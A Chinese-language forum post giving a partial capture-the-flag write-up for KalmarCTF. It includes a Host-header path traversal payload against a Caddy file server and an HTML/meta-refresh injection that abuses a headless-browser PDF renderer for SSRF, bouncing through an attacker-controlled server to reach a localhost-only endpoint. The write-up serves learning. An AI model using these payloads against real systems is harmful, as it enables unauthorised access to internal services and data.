首页
社区
课程
招聘
[原创]kalmarCTF 部分WP
发表于: 2023-3-8 10:36 9467

[原创]kalmarCTF 部分WP

2023-3-8 10:36
9467

WEB

Ez ⛳

题目给了源码,

 

 

题目描述说flag.txt已经被删了,先看docker-compose文件

1
command: sh -c "apk add --update openssl nss-tools && rm -rf /var/cache/apk/ && openssl req -x509 -batch -newkey rsa:2048 -nodes -keyout /etc/ssl/private/caddy.key -days 365 -out /etc/ssl/certs/caddy.pem -subj '/C=DK/O=Kalmarunionen/CN=*.caddy.chal-kalmarc.tf' && mkdir -p backups/ && cp -r *.caddy.chal-kalmarc.tf backups/ && rm php.caddy.chal-kalmarc.tf/flag.txt && sleep 1 && caddy run"

虽然flag.txt被删除了,但是显然他在backups/php.caddy.chal-kalmarc.tf这个路径下还存在一个备份的flag

 

环境的运行目录在www.caddy.chal-kalmarc.tf下,那么如何实现目录穿梭呢?

Caddyfile

Caddyfile是Caddy服务器的配置文件,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
*.caddy.chal-kalmarc.tf {
    encode zstd gzip
    log {
        output stderr
        level DEBUG
    }
 
    # block accidental exposure of flags:
    respond /flag.txt 403
 
    tls /etc/ssl/certs/caddy.pem /etc/ssl/private/caddy.key {
        on_demand
    }
 
    file_server {
        root /srv/{host}/
    }
}
  1. *.caddy.chal-kalmarc.tf: 这是Caddy的网站地址,它指定了这个配置将应用于任何以 *.caddy.chal-kalmarc.tf 结尾的网站。例如,如果有一个网站 example.caddy.chal-kalmarc.tf,这个配置将适用于它。
  2. respond /flag.txt 403: 这个配置指定了一个响应规则,它将阻止访问 /flag.txt 文件。如果有人试图访问这个文件,Caddy将返回HTTP 403 Forbidden响应。
  3. file_server: 这个配置启用了Caddy的文件服务器功能,它允许Caddy提供网站的静态文件。root指定了网站文件的根目录。{host}表示Caddy将使用来访问网站的主机名作为子目录名称,这使得Caddy可以为每个网站提供单独的文件根目录。

也就是说我们不可以直接访问flag.txt,不过file_server中的host参数是我们可控的,尝试目录穿梭
payload:

1
2
GET /../flag.txt HTTP/2
Host: backups/php.caddy.chal-kalmarc.tf

Invoiced

用node.js写的一个商城,首先是捋清代码逻辑

 

orders路由是我们的最终目的,只要绕过前面两个Nice try就能得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.get('/orders', (req, res) => {
  if (req.socket.remoteAddress != "::ffff:127.0.0.1") {  //本地访问
    return res.send("Nice try")
  }
  if (req.cookies['bot']) {
    return res.send("Nice try")
  }
  res.setHeader('X-Frame-Options', 'none');
  res.send(process.env.FLAG || 'kalmar{test_flag}')
})
 
app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

第一个限制是本地访问

SSRF

这里的if是要我们绕过的,所以discount=FREEZTUFSSZ1412

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
app.post('/checkout', async (req, res) => {
  let discountRate = payments.validateDiscount(req.body.discount) //检查
  let id = uuidv4();
 
  //TODO: add support for more products
  let total = 414
 
  if (total * (1 - discountRate)> 0) {
    try {
      return res.redirect(payments.getPaymentURL(id))  //支付链接
    } catch (e) {
      res.statusCode = 500
      return res.send(e.message)
    }
  }
 
  //TODO: add order to database
  let pdffile = await pdf.renderPdf(req.body)
  res.setHeader('Content-Type', 'application/pdf');
  res.setHeader('Content-Disposition', 'inline; filename=invoice.pdf')
  return res.send(pdffile)
})

在访问checkout界面时会生成pdf文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
async function renderPdf(body){
    const browser = await puppeteer.launch(browser_options);
    const page = await browser.newPage();
    const cookie = {
        "name": "bot",
        "value": "true",
        "domain": "localhost:5000",
        "httpOnly": true,
        "sameSite": "Strict"
    }
    await page.setCookie(cookie)
    await page.goto("http://localhost:5000/renderInvoice?"+querystring.stringify(body), { waitUntil: 'networkidle0' });
    await delay(1000)
    const pdf = await page.pdf({ format: 'A4' });
    await browser.close();
    return pdf
}

其中body参数可控,看一下renderInvoice路由是否能做一个跳转,去访问orders

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.get('/renderInvoice', async (req, res) => {
  if (!invoice) {
    invoice = await readFile('templates/invoice.html', 'utf8')
  }
 
  let html = invoice
  .replaceAll("{{ name }}", req.query.name)
  .replaceAll("{{ address }}", req.query.address)
  .replaceAll("{{ phone }}", req.query.phone)
  .replaceAll("{{ email }}", req.query.email)
  .replaceAll("{{ discount }}", req.query.discount)
  res.setHeader("Content-Type", "text/html")
  res.setHeader("Content-Security-Policy", "default-src 'unsafe-inline' maxcdn.bootstrapcdn.com; object-src 'none'; script-src 'none'; img-src 'self' dummyimage.com;")
  res.send(html)
})

这里应该可以使用xss跳转,但是写了CSP策略,不能执行javascript代码,那么还能实现跳转吗

meta标签

参考官方文档

 

:元数据元素 - HTML(超文本标记语言) | MDN (mozilla.org)

 

payload:

1
2
3
http://invoiced.chal-kalmarc.tf/checkout
 
discount=FREEZTUFSSZ1412&name=</title><meta http-equiv="refresh" content="0;url=/orders">

成功实现了跳转

二次跳转

接下来的问题是如何绕过cookie限制,我们可以在自己的服务器上起一个服务,再跳转回去

 

 

服务器上的index.html

1
<script>location="http://localhost:5000/orders"</script>

payload

1
2
3
http://invoiced.chal-kalmarc.tf/checkout
 
discount=FREEZTUFSSZ1412&name=</title><meta http-equiv="refresh" content="0;url=http://ip:port">

MISC

sewing-waste-and-agriculture-leftovers

udp协议,追踪流发现

 

应该就是把flag分成了几段传输

 

依次提取出来拼接得到flag


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//